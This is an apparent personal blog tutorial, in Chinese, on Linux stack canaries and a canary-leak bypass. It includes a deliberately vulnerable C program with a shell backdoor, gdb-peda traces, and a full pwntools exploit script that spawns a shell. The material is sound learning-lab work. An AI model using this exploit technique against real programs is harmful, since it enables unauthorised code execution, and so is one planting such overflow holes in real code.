wiki-canary绕过

1:介绍

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。
Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。

2:Canary 原理

在 GCC 中使用 Canary
可以在 GCC 中使用以下参数设置 Canary:

-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

开启 Canary 保护的 stack 结构大概如下:

        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
        rbp =>  | old ebp         |
                +-----------------+
      rbp-8 =>  | canary value    |
                +-----------------+
                | local variables |
        Low     |                 |
        Address

汇编指令一般如下:

mov     eax, large gs:14h   #将一个cookie放在eax
mov     [ebp+var_C], eax    #再由eax放入[ebp+var_C](栈中靠后的位置)
·····
·····
mov     eax, [ebp+var_C]   #将其赋值到eax
xor     eax, large gs:14h  #将其与原cookie比较            #影响zf标志寄存器
jz      short loc_8048692  #如果计算结果不为0就跳转(上面的异或操作)

如果栈中的cookie被更改了就会jz跳到call __stack_chk_fail_local。其也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下:

eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}
希望我以后能懂这个定义(doge)

对于 Linux 来说,gs 寄存器实际指向的是当前栈的 TLS 结构,gs:14h 指向的正是 stack_guard

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
                       thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  ...
} tcbhead_t;

如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。

事实上,TLS 中的值由函数 security_init 进行初始化。

static void
security_init (void)
{
  // _dl_random的值在进入这个函数的时候就已经由kernel写入.
  // glibc直接使用了_dl_random的值并没有给赋值
  // 如果不采用这种模式, glibc也可以自己产生随机数

  //将_dl_random的最后一个字节设置为0x0
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

  // 设置Canary的值到TLS中
  THREAD_SET_STACK_GUARD (stack_chk_guard);

  _dl_random = NULL;
}

//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

抓重点:每次开启程序cookie的值随机的

3:Canary 绕过技术

注意:Canary 是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着 Canary 就能够阻止所有的栈溢出利用,在这里给出了常见的存在 Canary 的栈溢出利用思路,请注意每种方法都有特定的环境要求

泄露栈中的 Canary

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串(因为它会贴着buf)。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节(\x00,然后就不会被截断),来打印出剩余的 Canary 部分(前提是得有打印函数)。 这种利用方式需要存在合适的输出函数,并且可能需要第一次溢出泄露 Canary,之后再次溢出控制执行流程。

例子:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译为 32bit 程序并关闭 PIE 保护 (默认开启 NX,ASLR,Canary 保护)

$ gcc -m32 -no-pie test.c -o test

先读程序:输出Hello Hacker!后进入vuln函数,其buf大小为100而可以读入0x200个字符显然存在溢出,还有格式化字符串漏洞。后门getshell。
因为插入了cookie,所以我们要想办法得到cookie,找到它在栈中的正确位置构造payload绕过canary

寻找cookie

因为cookie插入时汇编代码特征明显,我们多留意其汇编相关的寄存器值即可
因为程序默认开启-fstack-protector保护,所以只为局部变量中含有数组的函数插入保护,那我们直接进入vuln函数:

Dump of assembler code for function vuln:
=> 0x0804862b <+0>:    push   ebp
   0x0804862c <+1>:    mov    ebp,esp
   0x0804862e <+3>:    push   ebx
   0x0804862f <+4>:    sub    esp,0x74
   0x08048632 <+7>:    call   0x80484e0 <__x86.get_pc_thunk.bx>
   0x08048637 <+12>:    add    ebx,0x19c9
   0x0804863d <+18>:    mov    eax,gs:0x14     #插入cookie
   0x08048643 <+24>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048646 <+27>:    xor    eax,eax
   0x08048648 <+29>:    mov    DWORD PTR [ebp-0x74],0x0
   0x0804864f <+36>:    jmp    0x804867a <vuln+79>
   0x08048651 <+38>:    sub    esp,0x4
   0x08048654 <+41>:    push   0x200
   0x08048659 <+46>:    lea    eax,[ebp-0x70]
   0x0804865c <+49>:    push   eax
   0x0804865d <+50>:    push   0x0
   0x0804865f <+52>:    call   0x8048420 <read@plt>
   0x08048664 <+57>:    add    esp,0x10
   0x08048667 <+60>:    sub    esp,0xc
   0x0804866a <+63>:    lea    eax,[ebp-0x70]
   0x0804866d <+66>:    push   eax
   0x0804866e <+67>:    call   0x8048430 <printf@plt>
   0x08048673 <+72>:    add    esp,0x10
   0x08048676 <+75>:    add    DWORD PTR [ebp-0x74],0x1
   0x0804867a <+79>:    cmp    DWORD PTR [ebp-0x74],0x1
   0x0804867e <+83>:    jle    0x8048651 <vuln+38>
   0x08048680 <+85>:    nop
   0x08048681 <+86>:    mov    eax,DWORD PTR [ebp-0xc]  #校验cookie
   0x08048684 <+89>:    xor    eax,DWORD PTR gs:0x14
   0x0804868b <+96>:    je     0x8048692 <vuln+103>
   0x0804868d <+98>:    call   0x8048750 <__stack_chk_fail_local>
   0x08048692 <+103>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048695 <+106>:    leave  
   0x08048696 <+107>:    ret    
End of assembler dump.
gdb-peda$ 

我们让程序执行到6:0x08048643 <+24>: mov DWORD PTR [ebp-0xc],eax就可以从eax看到cookie的值

EAX: 0x25710300 
EBX: 0x804a000 --> 0x8049f08 --> 0x1 
ECX: 0xf7fb2dc7 --> 0xfb38900a 
EDX: 0xf7fb3890 --> 0x0 
ESI: 0xf7fb2000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xffffd008 --> 0xffffd018 --> 0x0 
ESP: 0xffffcf90 --> 0xf7fb2d80 --> 0xfbad2887 
EIP: 0x8048643 (<vuln+24>:    mov    DWORD PTR [ebp-0xc],eax)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048632 <vuln+7>:    call   0x80484e0 <__x86.get_pc_thunk.bx>
   0x8048637 <vuln+12>:    add    ebx,0x19c9
   0x804863d <vuln+18>:    mov    eax,gs:0x14
=> 0x8048643 <vuln+24>:    mov    DWORD PTR [ebp-0xc],eax
   0x8048646 <vuln+27>:    xor    eax,eax
   0x8048648 <vuln+29>:    mov    DWORD PTR [ebp-0x74],0x0
   0x804864f <vuln+36>:    jmp    0x804867a <vuln+79>
   0x8048651 <vuln+38>:    sub    esp,0x4
[------------------------------------stack-------------------------------------]
0000| 0xffffcf90 --> 0xf7fb2d80 --> 0xfbad2887 
0004| 0xffffcf94 --> 0xf7fb2dc7 --> 0xfb38900a 
0008| 0xffffcf98 --> 0x1 
0012| 0xffffcf9c --> 0x1 
0016| 0xffffcfa0 --> 0x1 
0020| 0xffffcfa4 --> 0x0 
0024| 0xffffcfa8 --> 0xf7e4fab9 (<_IO_file_overflow+9>:    add    edx,0x162547)
0028| 0xffffcfac --> 0xf7fb0860 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 3, 0x08048643 in vuln ()
gdb-peda$ 

发现EAX: 0x25710300 cookie,继续到read函数我们使其读入很多字符(200个)让其执行到要进行比较的时候

EAX: 0x41684141 ('AAhA')
EBX: 0x804a000 --> 0x8049f08 --> 0x1 
ECX: 0xde 
EDX: 0xf7fb3890 --> 0x0 
ESI: 0xf7fb2000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xffffd008 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
ESP: 0xffffcf90 --> 0xf7fb2d80 --> 0xfbad2887 
EIP: 0x8048684 (<vuln+89>:    xor    eax,DWORD PTR gs:0x14)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804867e <vuln+83>:    jle    0x8048651 <vuln+38>
   0x8048680 <vuln+85>:    nop
   0x8048681 <vuln+86>:    mov    eax,DWORD PTR [ebp-0xc]
=> 0x8048684 <vuln+89>:    xor    eax,DWORD PTR gs:0x14
   0x804868b <vuln+96>:    je     0x8048692 <vuln+103>
   0x804868d <vuln+98>:    call   0x8048750 <__stack_chk_fail_local>
   0x8048692 <vuln+103>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x8048695 <vuln+106>:    leave
[------------------------------------stack-------------------------------------]
0000| 0xffffcf90 --> 0xf7fb2d80 --> 0xfbad2887 
0004| 0xffffcf94 --> 0x2 
0008| 0xffffcf98 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
0012| 0xffffcf9c ("AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0016| 0xffffcfa0 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0020| 0xffffcfa4 ("$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0024| 0xffffcfa8 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0028| 0xffffcfac ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048684 in vuln ()
gdb-peda$ 

[ebp-0xc] == eax ,判断是否等于原cookie:DWORD PTR gs:0x14,我们发现要进行比较时eax的值被覆盖为AAhA,那查一下offset就知道cookie在栈中的位置了

gdb-peda$ pattern offset AAhA
AAhA found at offset: 100
gdb-peda$ 

100刚好是buf大小。

泄露

我们把payload设为 ‘A’*100直接发过去看看会发生什么(开启context.log_level):

[+] Starting local process './test': pid 6732
[DEBUG] Received 0xe bytes:
    'Hello Hacker!\n'
[DEBUG] Sent 0x65 bytes:
    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x6c bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000060  41 41 41 41  0a ca d5 b5  88 87 04 08               │AAAA│····│····│
    0000006c   ##注意小端序问题

我们可以看到AAA后面是0a,注意这是\n的ASCII码值,因为我们按下了空格\n。但后面跟着ca d5 b5,由上面的位置计算可知这是cookie的值,因为前面的\x00被\n覆盖所以无法阶段字符串将后面的什么鬼东西都输出来了,包括cookie的残余值。那我们就可以得到cookie了,只要减一个0xa即可。
尝试:

from pwn import*

context.log_level = 'debug'
elf = ELF('test')
getshell = elf.symbols['getshell']
sh = process('./test')
sh.recv()

payload1 = 'A'*100 

sh.sendline(payload1)
sh.recv(100)
canary = u32(sh.recv(4)) - 0xa
print "canary =>" + hex(canary)

结果:

[DEBUG] Received 0x6c bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000060  41 41 41 41  0a f7 a3 0b  88 87 04 08               │AAAA│····│····│
    0000006c
canary =>0xba3f700

那接下来我们测出溢出点就可以了,我们可以插入gdb.attach(sh)在调试中测试:

测试

from pwn import*

context.log_level = 'debug'
elf = ELF('test')
getshell = elf.symbols['getshell']
sh = process('./test')
sh.recv()

payload1 = 'A'*100 

sh.sendline(payload1)
sh.recv(100)
canary = u32(sh.recv(4)) - 0xa
print "canary =>" + hex(canary)

payload2 = 'A'*100 + p32(canary) + 'A'*100+p32(getshell)  #p32(canary)绕过后我用100个A来查找
gdb.attach(sh)
sh.sendline(payload2)
sh.recv()

sh.interactive()

结果:

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0x64 ('d')
EDX: 0xf7f5a890 --> 0x0 
ESI: 0xf7f59000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffb278dc ('A' <repeats 88 times>, "\246\205\004\b\nA5\f")
EIP: 0x8048696 (<vuln+107>:    ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804868d <vuln+98>:    call   0x8048750 <__stack_chk_fail_local>
   0x8048692 <vuln+103>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x8048695 <vuln+106>:    leave  
=> 0x8048696 <vuln+107>:    ret    
   0x8048697 <main>:    lea    ecx,[esp+0x4]
   0x804869b <main+4>:    and    esp,0xfffffff0
   0x804869e <main+7>:    push   DWORD PTR [ecx-0x4]
   0x80486a1 <main+10>:    push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffb278dc ('A' <repeats 88 times>, "\246\205\004\b\nA5\f")
0004| 0xffb278e0 ('A' <repeats 84 times>, "\246\205\004\b\nA5\f")
0008| 0xffb278e4 ('A' <repeats 80 times>, "\246\205\004\b\nA5\f")
0012| 0xffb278e8 ('A' <repeats 76 times>, "\246\205\004\b\nA5\f")
0016| 0xffb278ec ('A' <repeats 72 times>, "\246\205\004\b\nA5\f")
0020| 0xffb278f0 ('A' <repeats 68 times>, "\246\205\004\b\nA5\f")
0024| 0xffb278f4 ('A' <repeats 64 times>, "\246\205\004\b\nA5\f")
0028| 0xffb278f8 ('A' <repeats 60 times>, "\246\205\004\b\nA5\f")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048696 in vuln ()
gdb-peda$ 

可以看到确实绕过了canary而且在ESP提示:后面又88个A,所以多了88个。因此只要12个即可。

EXP

from pwn import*

context.log_level = 'debug'
elf = ELF('test')
getshell = elf.symbols['getshell']
sh = process('./test')
sh.recv()

payload1 = 'A'*100 

sh.sendline(payload1)
sh.recv(100)
canary = u32(sh.recv(4)) - 0xa   ##不要忘了cookie是随机的
print "canary =>" + hex(canary)

payload2 = 'A'*100 + p32(canary) + 'A'*12+p32(getshell)
#gdb.attach(sh)
sh.sendline(payload2)
sh.recv()

sh.interactive()

[*] Switching to interactive mode
[DEBUG] Received 0x64 bytes:
    'A' * 0x64
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
$  

  转载请注明: Squarer wiki-canary绕过

 上一篇
PIE绕过 PIE绕过
1:ASLR简单介绍ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。可以理解为libc、栈、堆
2020-07-14
下一篇 
蒸米X64 蒸米X64
1:X86 X64主要区别 首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常 其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参
2020-07-10
  目录